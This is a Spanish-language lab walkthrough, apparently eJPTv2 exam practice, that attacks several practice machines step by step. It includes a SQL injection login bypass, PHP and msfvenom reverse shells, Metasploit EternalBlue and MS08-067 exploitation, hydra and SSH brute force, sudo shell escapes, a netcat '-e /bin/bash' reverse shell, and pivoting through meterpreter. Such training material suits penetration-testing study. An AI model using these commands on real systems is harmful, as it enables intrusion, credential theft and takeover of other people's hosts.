Selecciona todos los usuarios de la tabla users y si existe ‘sergiky’ O 1=1 es correcto que se logue.
Al indicar este O ya nos da igual que el usuario exista o no, ya que la segunda condición se va a cumplir y como una de las dos se ha cumplido(porque es OR) pues la da por buena.
El punto y coma(;) se encarga de cerrar la consulta, ya que comentamos el resto. Aunque sin el punto y coma también podríamos ejecutarla, ya que al comentar la consulta esta se ejecuta automáticamente.
Y la pregunta del millón, ¿porque entramos como administrador y no como otro usuario?
Porque el OR 1=1;-- - se recorre la tabla de arriba abajo y utiliza el primer usuario que se crea en la tabla(primera fila), normalmente suele ser administrador.
Y si fuera algo más difícil?. Bien, pues podríamos utilizar burpsuite y foxyproxy para interceptar la data que se tramita al enviar la petición, guardamos dicha información en un archivo y utilizamos sqlmap para automatizar el ataque.
Debemos de crear un proxy en foxyproxy(es un addon instalable) para poder utilizar el navegador con Burpsuite y que intercepte las peticiones. La configuración sería la siguiente:
Una vez creada la tenemos que activar.
Si abrimos Burpsuite y nos vamos a Proxy > HTTPhistory podemos ver todas las peticiones que pasan por nuestro proxy del navegador.
Si no habéis realizado nada no tendréis nada obviamente, en cambio, si introducis un usuario y una contraseña cualquiera y le dais a enviar podréis ver la petición.
A mi me salen más, pero porque recargue la página antes. El siguiente paso es guardarlo en un archivo, para ello le damos click derecho en el cuerpo de la solicitud y la opción Copy to file.
En mi caso lance el burpsuite sin root sin querer y no podía guardarlo en root, así que lo guarde en un directorio cualquiera, después me convertí en root, lo moví y le cambie el propietario y grupo con chown -R root:root request.
El contenido del archivo es lo mismo que veiamos por Burpsuite.
Ya podemos pasarle la request a sqlmap:
1 | sqlmap -r request |
Cuando lo ejecutemos nos hará diferentes preguntas para adecuarse lo máximo posible al objetivo.
Aunque nos da una inyección mucho más difícil de lo visto anteriormente, nos da una time-based blind, esto se queda totalmente fuera del “scope” del ejpt y además si la probamos no funciona :o.
Normalemente SQLmap es más útil cuando queremos extraer información de una base de datos de una forma automatizada y sencilla.
File Upload
Bueno si continuamos y nos metemos dentro, vemos abajo a la derecha lo que parece ser un posible CMS y su versión, pues podríamos buscar el cms y la versión en searchsploit o en internet para ver si tiene algún exploit o vulnerabilidad conocida.
Pero en este caso después de buscar en el CMS vemos en el perfil del usuario (My account) que tenemos un campo para subir un avatar(una imagen). Si le damos click derecho a la imagen del avatar y abrimos la ruta podremos ver donde se guardan los archivos, en este caso en http://doc.hmv/uploads/1624240500_avatar.png.
A partir de aquí podemos probar muchas cosas, pero llendo un poco al grano, vamos a subir una reverse shell en php en lugar de una imagen. Podemos utilizar la reverse shell de pentestet monkey en la web revshells
Para la configuración vamos a indicar la IP de nuestra máquina atacante y el puerto por donde nos queremos poner a a la escucha, como veis ya nos esta indicando que necesitaremos privilegios de root para ponernos a la escucha(lo indica a la derecha en la parte de Listener)
Nos copiamos esto y lo metemos en un archivo, en mi caso rev.php.
Ahora vamos a probar a subir el archivo(en mi caso lo tenía en un directorio de /root lo he movido a un directorio accesible para el navegador, en mi caso /home/root/kali/Downloads). Le damos a actualizar.
Ya vemos que se ha quedado como rarow, el siguiente paso es darle click derecho a la imagen y ver en la ruta en la que esta, vemos que la ha cambiado el nombre y sale una advertencia. Esta advertencia sale cuando la reverse shell intenta establecer una conexión con el equipo atacante(La ip y el puerto indicado anteriormente) y no ha podido).
Bien, pues si nos ponemos en escucha:
1 | sudo nc -nlvp 443 |
Y recargamos el recurso.
Aquí a mi personalmente me gusta hacer un tratamiento de la tty para que funcione mejor, ctrl+c sin que se salga, ctrl+l para limpiar la consola, algunas veces configuro el tamaño de la terminal para que se vea bien cuando abres un editor de texto.
Vamos a realizar lo siguiente:
Lanzamos el siguiente script para mejorar
1 | script /dev/null -c bash |
- script -> Para iniciar sesión en una sesión de terminal simulada.
- /dev/null -> El destino de salida va a ser este. Así script no guarda un historial de la sesión y solo se usa para mejorar la tty.
- -c bash -> Ejecutas un comando, en este caso bash dentro de la nueva sesión mejorada.
Después realizamos un Ctrl+z para dejar la sesión en segundo plano.
Después introducimos lo siguiente:
1 | stty raw -echo; fg |
- stty -> Nos permite modificar características de la tty.
- raw -> Deshabilita el procesamiento de entrada y salida.
- echo -> Desactiva la impresión de caracteres en pantalla, así evita que los acaracteres se dupliquen al escribir.
- fg -> Trae la shell a primer plano.
Después restablacete la terminal a su estado predeterminado limpiando posibles errores y define el tipo de terminal como xterm. Una vez dentro ya podemos hacer Ctrl+c sin miedo de salirnos de la sesión.
1 | reset xterm |
Después para poder hacer ctrl+L tenemos que cambiar la terminal porque vemos que es tipo DUMB.
1 | export TERM=xterm |
Y por si utilizamos algún editor de texto(como nano/vim) podemos obtener las filas y columnas en una terminal de nuestro equipo:
1 |
|
Y ponérselas a la máquina víctima:
1 | stty rows 41 columns 112 |
Tenéis muchas variaciones a partir de aquí, podéis subir una webshell, un binario de msfvenom para que os establezca una conexión y conectaros con metasploit y crear una sesión meterpreter…
Escalada de privilegios
Deberíamos enumerar la red con el comando ip a por ejemplo, ver el /etc/passwd ara ver los usuarios del sistema y nos encontramos con el usuario bella. Podríamos realizar sudo -l, buscar binarios SUID, pero en este caso vamos enumerar los archivos del sistema. Si el usuario bella está en la aplicación web puede que podamos acceder a algún archivo de configuración donde aparezca sus credenciales.
Nos podemos dirigir a la ruta que contiene este CMS:
1 | cd /var/www/html/traffic_offense |
Y vemos el archivo config.php al que www-data es propietario y tiene permisos delectura. Tenemos el archivo initialize.php que por el nombre podemos deducir que se crea con la instalación, así que vamos a echarle un vistazo, podría ser parecido al wp-config de wordpress.
Y si, podemos ver la contraseña de bella en la base de datos, pero esto no significa que sea la misma que el usuario del sistema operativo, pero vamos a comprobar si se está reutilizando.
La escalada a root se sale del “scope” del eJPTv2 así que damos la máquina por concluida.
🎯 Experience
Enumeración
En mi caso la IP relacionada con está máquina es la 10.0.2.9, así que nos creamos una carpeta(10.0.2.9) para tenerlo todo organizado.
Si echamos un vistazo al escaneo de nmap podemos ver que los puertos abiertos son 135,139,445, parece ser una máquina Windows XP, mediante el NETBIOS podemos encontrar el nombre de la máquina.
smb-vuln scripts nmap
En este caso vamos a ahorrarnos el paso de utilizar smbmap, smbclient…
Vamos a buscar vulnerabilidades con lo scripts de nmap:
1 | nmap -p445 --script="smb-vuln-*" 10.0.2.9 -oN smb-vulns.nmap |
En este caso nmap nos reporta que es vulnerable a ms17-010(Ethernal Blue), ms08-067 y cve2009-3103.
La idea para seguir un poco la dinámica del eJPTv2 es utilizar metasploit para explotar estas vulns, ya que no tendremos conexión a internet para utilizar scripts.
Explotación
Metasploit
Para utilizar la base de datos de metasploit nos tenemos que asegurar que el servicio postgresql está corriendo:
1 | service postgresql start |
Podéis comprobar si esta encendido con:
1 | service postgresql status |
En caso de que service y preset aparezca como disabled no hay que preocuparse, esto significa que no se auto iniciará cuando se inicie la máquina.
Ya podemos abrir metasploit
1 | msfconsole |
Hacemos un db_status para ver si nuestra base de datos funciona correctamente.
Y para tenerlo todo más organizado nos vamos a crear un espacio de trabajo, para ello utilizamos los siguientes comandos:
1 | workspace # Ves los espacios de trabajo disponibles |
Bien, una vez en nuestro espacio de trabajo podríamos realizar muchas cosas, podríamos pasarle un archivo XML e importar el escaneo de nmap en metasploit(exactamente en este espacio de trabajo), podemos buscar los exploits directamente. Pero en este caso vamos a setear la IP objeto globalmente, así nos tenemos que ahorrar de introducir la IP en cada exploit y ya la seteara por defecto.
1 | setg RHOSTS 10.0.2.9 |
MS17-010 | Eternal Blue
Esta vulnerabilidad se basa en un bufferoverflow hacía el servicio smb.
Bien, vamos a empezar explotando el eternal blue, que es muy común, para ello usamos:
1 | search MS17-010 |
Lo que vemos que “cuelga” es información extra. Por ejemplo, en el primero te dice los sistemas operativos con lo que es compatible el exploit. Puedes elegir el exploit 0 y intenta detectar automáticamente que sistema operativo es y cuál usar o si lo tienes claro puedes utilizar un exploit de una versión directamente.
En el segundo exploit podemos ver que tiene diferentes métodos de explotación y “AKA” se refiere a que es conocido por otros nombres.
Hay que fijarse bien porque algunos no estan en la categoría de exploits si no de auxiliary en este caso.
Tenemos un escaner para identificar si un equipo es vulnerable a eternal blue, vamos a utilizarlo:
1 | use auxiliary/scanner/smb/smb_ms17_010 |
Si vemos las opciones requeridas para dicho escaner solo tendríamos que introducir el rhosts(sería con set RHOSTS 10.0.2.9) aunque no hace falta ya que lo hicimos de forma global anteriormente.
1 | show options |
Para lanzar el escaner podemos utilizar run o exploits.
Bien, pues como pudimos ver con nmap, la máquina 10.0.2.9 es vulnerable a metasploit.
Entonces si volvemos a buscar por ms17-017 y usamos el primero con use 0.
Lo mismo, miramos las opciones con show options, vemos también que por defecto se nos asigna el payload de meterpreter y las opciones a mirar son rhosts, rport, lhost y lport(4444 por defecto) así que no hace falta cambiar nada.
Ejecutamos con run.
Vamos a buscar otra vez por ms1-010 y utilizamos el segundo exploit:
1 | use exploit/windows/smb/ms17_010_psexec |
Miramos las opciones, todo igual, ejecutamos con run.
Podemos hacer un ctrl+z para mandar al background la sesión por si nos hiciera falta más adelante.
MS08-067
Mismo procedimiento, hacemos un search para buscar exploits y solo nos sale una:
Le indicamos que la queremos usar y su identificador use 0 y vemos las opciones con show options. Lo dejamos todo por defecto como esta y ejecutamos con run.
cve 2009-3103
Buscamos por la vulnerabilidad 2009-3103 reportada con nmap, search 2009-3103.
Vemos que también se conoce como MS09-050. La usamos, vemos las opciones y ejecutamos. En este caso no ha funcionado, no todo podía ser un camino de rosas.
🎯 Simple
Enumeración
Vamos a inspeccionar el archivo con los servicios y las versiones de los puertos y vemos que la máquina 10.0.2.5 es nuestra máquina Simple y tiene abiertos los puertos: 80,135,139,445,5985,47001,49664,49665…
Recordar que podéis ver las tecnologías con whatweb:
Web
Ya nos chiva por detrás que esta corriendo un Microsoft-IIS, vamos a inspeccionar la página web:
Bueno, a parte de ver una falta ortográfica en “comming”(es coming) también podemos ver los agradecimientos a diferentes usuarios, estos los podemos guardar en formato lista por si hicieran falta más adelante.
Podemos buscar en el código fuente, la consola, la herramienta de red… Pero no vamos a encontrar nada.
Así que directamente vamos a realizar fuzzing con dirbuster(ya que dir funciona de aquella manera), le añadimos 200 hilos al escaneo como siempre para que vaya más rápido. Después de unos cuantos intentos de fuzzing vemos que no nos reporta nada excepto el index.html, images/, fonts/ con código de estado 403.
Así que sin encontrar nada aquí, vamos a inspeccionar el servicio SMB
SMB
Lo primero es comprobar si podemos utilizar una null session o el usuario guest para listar archivos.
Podemos probar con smbclient, smbmap, crackmapexec.
Con smbclient y smbmap no me reportaba nada, con crackmapexec me reporta lo siguiente:
1 | crackmapexec smb 10.0.2.5 -u '' -p '' --shares |
Pero recordar que tenemos una lista de potenciales usuarios, así que podemos probar con la contraseña en blanco a ver si vemos algo nuevo.
1 | crackmapexec smb 10.0.2.5 -u users.txt -p '' --shares |
Claro, una vez aquí pensamos y porque no hacemos fuerza bruta con algún diccionario común como rockyou o algunos de Seclist, pero más sencillo que eso y un detalle MUY IMPORTANTE. Es utilizar la lista de usuarios como contraseñas al igual que utilizar las contraseñas como lista de usuario. Esto aplica tanto en el ejptv2 como en el OSCP.
Estás “tonterías” pueden ser muy importante y que nos saltemos algo muy valioso:
1 | crackmapexec smb 10.0.2.5 -u users.txt -p users.txt --shares |
En este caso vemos que bogo:bogo funciona y se detiene ahí, si no queremos que se detenga cuando encuentra algo tenemos que añadir el switch –continue-on-success.
Como hemos visto anteriormente tenemos permisos de lectura para el recurso compartido $IPC y LOGS. Así que con smbclient vamos a conectarnos al recurso LOGS a ver que encontramos.
1 | smbclient //10.0.2.5/LOGS -U 'bogo' |
Pues nos descargamos el archivo y le echamos un vistazo para comprobar que contiene.
En este archivo encontramos que existe un recurso interno llamado WEB al que es accesible con el usuario marcos y la contraseña SuperPassword, así que vamos a intentar listar los recursos compartidos con crackmapexec:
1 | crackmapexec smb 10.0.2.5 -u 'marcos' -p 'SuperPassword' --shares |
Podemos ver que podemos acceder al recurso LOGS igual que con el usuario bogo, pero también tenemos accedo al recurso WEB con permisos de lectura y escritura.
Si accedemos al recurso con smbclient:
1 | smbclient //10.0.2.5/WEB -U 'marcos' |
Estos archivos nos van sonando… Si, hemos encontrado algunos al realizar fuzzing con dirbuster.
Nosotros como el usuario marcos tenemos permisos de escritura sobre dicho directorio, ¿si subimos un archivo podremos acceder desde la web?
Vamos crear un archivo .html chapusa y probamos a subirlo al directorio compartido, en mi caso lo he llamado sergiky.html y de contenido solo tiene la cadena “pwn3d”.
Una vez creado entramos al recurso y lo subimos con la orden put, este utiliza la ruta del sistema desde la consola donde iniciaste el smbclient, en mi caso tengo el archivo en el mismo directorio:
1 | put sergiky.html |
Si checkeamos si el archivo se ha subido desde el navegador:
Genial! Vemos que podemos subir archivos.
Explotación
La idea ahora es subir un archivo .php para poder obtener una shell en el equipo, el problema que esto es un sistema linux y nosotros estamos en un servidor IIS en Windows como vimos anteriormente. En los servidores IIS de Windows, lo equivalente a los archivos .php son los archivos .asp y .aspx. Estos están configurados por defecto.
Así que con msfvenom nos vamos a crear un archivo .aspx y de ser interpretado por el servidor nos va a dar una reverse shell.
Para crear el binario nos podemos dirigir a la página revshells que también nos da todos los parámetros de msfvenom para crear los archivos correspondientes.
Como veis no esta del todo correcto, nos crea un ejecutable .exe y no queremos eso, así que vamos a copiarlo y modificarlo en la consola. Tenemos que cambiar el formato(-f) y el nombre del archivo de salida.
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.2.5 LPORT=443 -f aspx -o reverse.aspx |
En caso de que la máquina no fuera de 64 bits(por ejemplo no funciona al darnos la shell) podemos prescindir del /x64/ aunque no hará falta realizar esto.
1 | msfvenom -p windows/shell_reverse_tcp LHOST=10.0.2.5 LPORT=443 -f aspx -o reverse.aspx |
Lo subimos al servidor con put y comprobamos que existe en el navegador.
Si nos ponemos en escucha con netcat y recargamos la página donde esta reverse shell:
1 | nc -nlvp 443 |
Vale y si ahora nosotros queremos obtener una sesión meterpreter. Una de las formas es subir un archivo que nos de una sesión meterpreter directamente y capturarlo con /multi/handler en metasploit.
En esta máquina, si intentas subir un archivo .aspx y que te de una meterpreter directamente no funciona. Así que vamos a probar dos formas diferentes, vamos a probar a upgradear la sesión desde metasploit para que la cmd se convierta en meterpreter y la otra forma es crear un archivo binario .exe que ejecutado por un usuario nos de una sesión meterpreter y v.
Upgradear a meterpreter
1 | use /exploit/multi/handler |
Recargamos la página con la reverse shell y y una vez obtenida la sesión la llevamos a segundo plano con el comando background o ctrl+z y con el siguiente comando:
1 | sessions -u 1 |
Intentamos upgradear la sesión 1 a una sesión meterpreter.
Si ahora hacemos sessions -l vemos que tenemos otra sesión de tipo meterpreter.
Para acceder a una sesión utilizamos sessions -i 2.
Creando ejecutable para crear sesión meterpreter
Desde otra consola dejando la cmd víctima abierta creamos un ejecutable:
1 | msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.0.2.7 LPORT=443 -f exe -o meterpreter.exe |
Una vez creado no vamos a realizar el mismo proceso de subirlo a través de smb…
Vamos a levantar un servidor http en python:
1 | python3 -m http.server 80 |
Si lo abrimos desde el navegador podemos ver los archivos que nos ofrece:
Pues la idea ahora es utilizar alguna utilidad que tengamos disponible para descarganos el archivo, en este caso podemos utilizar certutil.exe ya que es una cmd y no una powershell.
Nos podemos dirigir a la carpeta Public donde tendremos permisos para escribir o nos podemos dirigir a la carpeta C:\Windows\Temp
1 | cd C:\Windows\Temp |
Por X razón al hacer dir no vemos el archivo y parece que no se ha subido, pero en realidad si se ha subido.
Nos levantamos el /multi/handler de metasploit y configuramos las características:
1 | set payload windows/x64/meterpreter_reverse_tcp |
Y ejecutamos el binario:
1 | .\meterpreter.exe |
Y nos llegará la sesión correspondiente.
🎯 Blog
Aun no conocemos el hostname de esta máquina, si buscamos en nuestro archivo de escaneo vemos que solo nos queda una máquina por realizar o inspeccionar, en este caso es la IP 10.0.2.8 y tiene el puerto 22 con la version OPENSSH 7.9(Recordar que si es mayor que 7.7 no podemos enumerar usuarios y podríamos utilizar lo de launchpad, pero como en el examen no vamos a tener conexión a internet.) y el puerto 80 con Apache(debian).
Recon
Web
Si lanzamos un whatweb no encontramos nada relevante, así que vamos a abrir el navegador.
Pues encontramos el output de un ping, si actualizamos la página información se va actualizando. También encontramos el nombre del dominio blog.nyx
Miramos el código fuente, la herramienta de red, consola…
Vamos a utilizar Nikto para buscar vulnerabilidades y también hace un poquito de fuzzing web:
1 | nikto --url http://10.0.2.8 |
No tenemos nada que nos interese aquí ha encontrado que la versión de apache es “outdated”, podríamos buscar exploits para dicha versión, pero no interesa ahora. También ha encontrado un archivo en /icons/README que no va a tener nada interesante.
Vale pues vamos a utilizar dirbuster para descubrir más rutas
Bien, podemos ver que en el archivo index.php contiene el script que estará ejecutando el ping por detrás y también vemos una carpeta llamada my_webblog que tiene más carpetas y archivos por dentro, vamos a echarle un vistazo.
Podemos utilizar whatweb para ver que tecnologías contiene.
Entre todo esto podemos ver que se aplica un redirect a my_weblog/ y que en MetaGenerator podemos encontrar algo que nos destaca que es Nibbleblog. Si investigamos más vemos que es un gestor de contenido(CMS).
Si buscamos con searchsloit Nibbleblog nos aparecerán dos opciones.
No tenemos ni idea de la versión, así que vamos a utilizar el último exploit localizado, el de la versión 4.0.3 y que es de metasploit. Vamos a echar un ojo:
1 | searchsploit -x 38489 |
Si nos fijamos en la descripción del exploit podemos ver que dicho exploit nos permite inyectar código php con un usuario autenticado en la versión 4.0.3, pero si todavía no tenemos ningún usuario ni hemos encontrado ningún panel de administración.
Bien, pues si bajamos un poco en el exploit tenemos una parte donde se le esta concadenando a la raíz el archivo admin.php y si revisamos el fuzz anterior con dirbuster este también encontro dicho archivo.
Así que si vamos a echarle un vistazo.
No tenemos credenciales, así que podemos probar combinatorias típicas admin:admin, buscar por las credenciales por defecto de este tipo de blog, inyecciones SQL, no SQL…
Pero en este caso vamos a hacer fuerza bruta sobre dicho panel para encontrar credenciales válidas.
Explotación
Si has llegado a buscar en internet el usuario y contraseña por defecto de los Nibbleblog habrás visto que ha sido admin, podemos intentar usar admin como usuario y hacer fuerza bruta al campo de la contraseña con hydra.
Antes de utilizar hydra vamos a interceptar la petición que se está realizando al intentar accededer, para ello tenemos que tener instalado FoxyProxy(Ya instalado en el navegador de la certificación) y configurado.
Así que indicamos el burpsuite en la extensión, le damos al switch de intercept off y envíamos la petición y se nos debe de abrir el Burpsuite con la petición. En mi caso lo mando al Repeater(Click derecho “send to repeater”) nos dirigmos a dicha ventana y ya vemos la petición y la respuesta.
Bien, esto también se puede ver en las herramientas del navegador, lo que pasa que se ve con la letra más pequeña y es un poco más difícil de llegar a él.
Con esto estamos viendo la información que le tenemos que ofrecer a hydra para realizar este ataque:
1 | username=admin&password=password |
Vamos a utilizar el siguiente comando con hydra:
1 | hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.0.2.8 http-post-form "/my_weblog/admin.php:username=^USER^&password=^PASS^:Incorrect" -t 64 -F |
- -l: Si es en minúsculas indicamos que solo tenemos un usuario, en este caso admin. Si realizas un -L estás diciendo que vas a pasar una lista de usuarios.
- -P: Al usar -P indicas que vas a utilizar un diccionario de contraseñas.
- 10.0.2.8: Indicas la ip o dominio.
- http-post-form: Indicas el siguiente modo para indicar a hydra que vamos a realizar la fuerza bruta ante un formulario http por post.
- “/my_weblog/admin.php:username=^USER^&password=^PASS^:Incorrect”: Hydra te pide tres datos separados por ‘:’
- El endpoint(ruta de donde se encuentra ese panel de sesión desde la raíz).
- Nombre de usuario y contraseña(mediante lo obtenido en burpsuite). Dicho nombre y contraseña se sustituiran por las variables ^USER^ y ^PASS^ para que hydra lo identifique y sepa donde probar.
- Un string que aparezca en la respuesta http cuando es fallida(un inicio de sesión inválido). En nuestro caso aparece “Incorrect username or password”. Pues yo he utilizado el string o palabra Incorrect ya que solo aparece cuando fallas.
- -t 64: Threads o hilos a utilizar.
- -F: Que pare de realizar la fuerza bruta cuando detecte una combinación de credenciales válidas.
Hay que esperar unos segundos/minutos, dejarle su tiempo y hacer otra cosa mientras.
Y efectivamente!! podemos ver que ha encontrado que admin:kisses.
Vamos a comprobar esto para ver que no sea ningún falso positivo.
Recordamos que vimos que existía un exploit de metasploit sobre file upload en nibbleblog, si abrimos metasploit y lo buscamos.
Hacemos un show options y configuramos las siguientes variables:
1 | set PASSWORD kisses |
Ejecutamos con run
Bueno, esto es raro de que pase en la certificación, pero nunca se sabe, si nos descargarmos el exploit y lo inspeccionamos más a fondo vemos al final
Vemos que para payload_url se concadena diferentes variables y strings y podemos ver que utiliza un plugin llamado my_image y le sube un archivo llamado image.php.
En este caso para realizar la explotación manual podríamos ir subiendo un archivo html, después un .php sin que no sea malicioso… Según las pruebas realizadas por Xerosec confirma de que el expoit solo funciona si se llama de dicha manera, si utilizas otro nombre dejará subirlo, pero no será interpretado.
Así que vamos a crear un archivo image.php y vamos a meternos otra vez en la página de revshells y utilizamos la php PentestMonkey como hemos visto anteriormente, que no se nos olivde poner nuestra IP(10.0.2.7), el puerto(443) y que nos de una /bin/bash.
Y una vez aquí intentamos subir el archivo a la máquina víctima en Plugins > Plugin :: MyImage
Una vez subida nos saltará un pequeño mensaje en la parte inferior temporal y dira que los cambios han sido guardados exitósamente.
¿Y cuál sería la ruta para acceder a él? La ruta recordar que nos aparece en la variable payload_url, solo tenemos que unir los campos:
1 | http://10.0.2.8/my_weblog/content/private/plugins/my_image/image.php |
Recordar que esto no suele ser común en la eJPTv2, pero si es más común para la eJPTv2.
La idea es ahora ponernos por escucha con netcat y obtener la shell.
Estamos en una máquina Linux entonces podemos hacer ip a si fuera en Windows recordar que podemos ver la tabla arp con arp -a.
Podemos ver que tenemos otra interfaz, enp0s8, entonces puede ser que desde aquí encontremos otra máquina y podamos pivotar…
Pero primero, vamos a finalizar la escalada de privilegios.
Escalada de privilegios
Primero vamos a realizar un tratamiento de la tty como hemos visto en otras ocasiones:
1 | script /dev/null -c bash |
Usuario admin
Para escalar privilegios de forma básica podemos realizar operaciones como sudo -l, buscar binarios SUID, listar tareas programadas con crontab…
Si hacemos sudo -l podemos ver que www-data puede ejecutar /usr/bin/git como el usuario admin y sin contraseña.
¿Cómo podemos escalar privilegios con esto?
Pues nos podemos ir a gtfobins y buscar por git. Una vez encontrado en el apartado de “Functions” vamos a indicar que tenemos permisos “sudo” sobre dicho binario.
En este caso vamos a utilizar la segunda porque es más “curiosa” a la vista, pero podéis probar sin problema con el resto.
La idea es abrir un manual de forma “paginada” y poder realizar un “shell escape” para invocar una shell desde dicho manual.
Para ello si utilizas el comando como aparece en la página:
1 | sudo git -p help config |
No va a funcionar y nos va a pedir contraseña para www-data, ¿porque?. Recordamos que nosotros tenemos permisos para ejecutarlo como el usuario admin no como root, así que tenemos que indicar dicho usuario:
1 | sudo -u admin git -p help config |
Una vez fuera veremos que estamos como el usuario admin, si hicieramos un exit volveríamos al manual anterior.
Usuario root
Volvemos a realizar las típicas comprobaciones para ver si tenemos algo y realizando sudo -l nos damos cuenta de que podemos ejecutar el binario /usr/bin/mcedit como el usuario root y sin contraseña. Si buscamos que es eso, vemos que es un editor azul muy feo de terminal. Si lo buscamos en en gtfobins no encontraremos nada.
Si ejecutamos la herramienta vemos dicha interfaz:
1 | sudo /usr/bin/mcedit |
En cambio, si le damos a F9 nos aparece un menu en la parte superior, si le damos a file(nos movemos con enter y los cursores) y le damos a user menu y vemos una opción que se llama Invoke shell.
Y una vez dentro vemos que estamos como el usuario root, por defecto nos deja en una sh, para cambiarnos a una bash solo tendremos que ejecutar el comando: /bin/bash -i.
Pivoting hacía Blog
No hace falta tener máximos privilegios, con tener una sesión de meterpreter es suficiente.
Tenemos el comando ss -natup con el que podemos ver si hay algún servicio, puerto que este conectado con alguna posible máquina que vayamos a comprometer(así nos podríamos ahorrar el escaneo). En este caso no aparece ninguna.
Podemos buscar equipos de múltiples formas, una es haciendo un ping_sweep que ocnsiste en hacer un ping a todos los dispositivos de la nueva red.
En caso de que fuera una máquina Windows medianamente actualizada, si el firewall está por defecto no permite las conexiones ICMP y este no aparecía como conectado, pero recordar que se pueden hacer otros escaneos.
Si buscamos ping sweep one liner en google podemos encontrar la web rubyguides que nos dice como hacer un ping sweep tanto en un equipo Linux como en uno Windows.
Tenemos que adaptarlo poniendo nuestra dirección IP.
En Linux:
1 | for i in {1..254} ;do (ping -c 1 192.168.100.$i | grep "bytes from" &) ;done |
En Windows:
1 | for /L %i in (1,1,255) do @ping -n 1 -w 200 192.168.100.%i > nul && echo 192.168.100.%i is up. |
En este caso se encuentran dos equipos, 192.168.100.8 que somos nosotros(máquina Blog) y la IP 192.168.100.9.
Si en nuestro máquina Kali abrimos otra ventana con metasploit podemos utilizar /multi/handler para recibir una conexión normal y después “upgradearla” a una sesión meterpreter para poder hacer el pivoting.
1 | set LHOST 10.0.2.7 |
Y desde la máquina comprometida podemos enviar una bash, ej:
1 | nc 10.0.2.7 443 -e /bin/bash |
Upgradeamos la sesión.
1 | # ctrl+z |
También puedes usar el módulo shell_to_meterpreter.
Desde metasploit también podemos realizar un ping sweep, tcp scan, ack, syn, xmas, udp…
Para meternos en la sesión de meterpreter podemos utilizar el comando sessions -i 2.
Para que podamos “ver” esta nueva máquina vamos desde nuestro equipo tenemos que añadir una ruta nueva en metasploit, esto se puede realizar de diferentes maneras.
De manera manual dentro de metasploit:
Si salimos de la sesión y vemos las rutas que tenemos actualmente usando route o route print vemos que no tenemos ninguna ruta. Para añadir una nueva ruta sería de la siguiente forma:
1 | route add 192.168.100.0/24 2 |
Son tres argumentos, la ip, la máscara y el identificador de la sesión(acordaros tiene que tener meterpreter).
Esto permite que desde dentro de metasploit podramos ver dicha red, en cambio, si ejecutamos alguna herramienta desde fuera no funcionará.
Para eliminar una sesión sería de la siguiente forma:
1 | route del 192.168.100.0/24 2 |
Otra forma de realizarlo sería ejecutando el comando autoroute desde dentro de la sesión de meterpreter para que se añada automáticamente.
1 | run autoroute -s 192.168.100.0/24 |
Aunque se añadirá a la tabla veréis que esta deprecated y que utilicemos el script post/multi/manage/autoroute.
Si borramos la ruta y probamos a usar dicho módulo vemos que solo nos pide como obligatorio indicar la sesión, ¿porque?. Porque va a detectar los segmentos de red a los que tiene acceso y los va añadir automáticamente a nuestra tabla.
1 | set SESSION 2 |
Podemos intentar hacer utilizar nmap dentro de metasploit hacía dicha IP. Si utilizamos el parámetro -sn para detectar host veremos que sale que esta vivo, pero si pones cualquier otra IP también te pone que esta vivo, así que vemos que no nos podemos fiar porque da muchos falsos positivos. Si intentarás escanear puertos tampoco os reportará nada.
Así que vamos a utilizar un scanner tcp propio de nmap(mencionado anteriormente).
1 | use auxiliary/scanner/portscan/tcp |
🎯 Gift
Nos metemos a la sesión de meterpreter, en este caso hemos visto que tenemos el servicio web y ssh abiertos, pero no podemos acceder a él, para esto vamos a realizar port forwarding que consiste en redirigir nuestro tráfico en la máquina kali a la máquina víctima y el puerto indicado, en este caso el 80.
0.0.0.0:8080 -> 192.168.100.9:80
Hay que tener claro que no podemos utilizar herramientas externas de metasploit aunque tengamos las rutas creadas, en cambio, al realizar el port forwarding esto si aplica fuera de metasploit.
Dentro de la sesión de meterpreter vamos a introducir lo siguiente:
1 | portfwd add -l 8080 -p 80 -r 192.168.100.9 |
Para ver si se ha aplicado correctamente utilizamos el comando portfwd.
Si ahora abrimos el navegador y intentamos acceder a dicha web por el puerto 127.0.0.1:8080
Si inspeccionamos el código fuente vemos un comentario que pone “Trust me”.
Podríamos hacerle fuzzing, pero no vamos a encontrar nada.
En este caso recordar que también vimos el servicio ssh expuesto, vamos a realizar un ataque de fuerza bruta por ssh.
Para ello mandamos a segundo plano la sesión de meterpreter y vamos a utilizar el módulo auxiliary/scanner/ssh/ssh_login para hacer fuerza bruta.
1 | set PASS_FILE /usr/share/wordlists/rockyou.txt |
¿Porque elegimos root como usuario?
Porque en ciertas distribuciones el usuario root esta activado por defecto.
En caso de querer utilizar hydra habría que realizar un port forwarding de dicho puerto para traernósolo(Xerosec dijo que lo probo, pero le daba fallo en esta máquina.)
Podemos ver que también nos ha abierto una sesión:
Por último vamos a realizar un port forwarding del puerto ssh a nuestro puerto ssh para intentar conectarnos con dichas credenciales.
Para ello abrimos la sesión de meterpreter y indicamos los puertos:
1 | portfwd add -l 2222 -p 22 -r 192.168.100.9 |
Recordar que lo podéis probar utilizando portfwd y si nos vamos ahora a una terminal de kali y nos intentamos conectar por ssh:
1 | ssh root@127.0.0.1 -p 2222 |
Enlaces de interés
- Laboratorio de xerosec: https://www.youtube.com/watch?v=v20IsEd5nUU
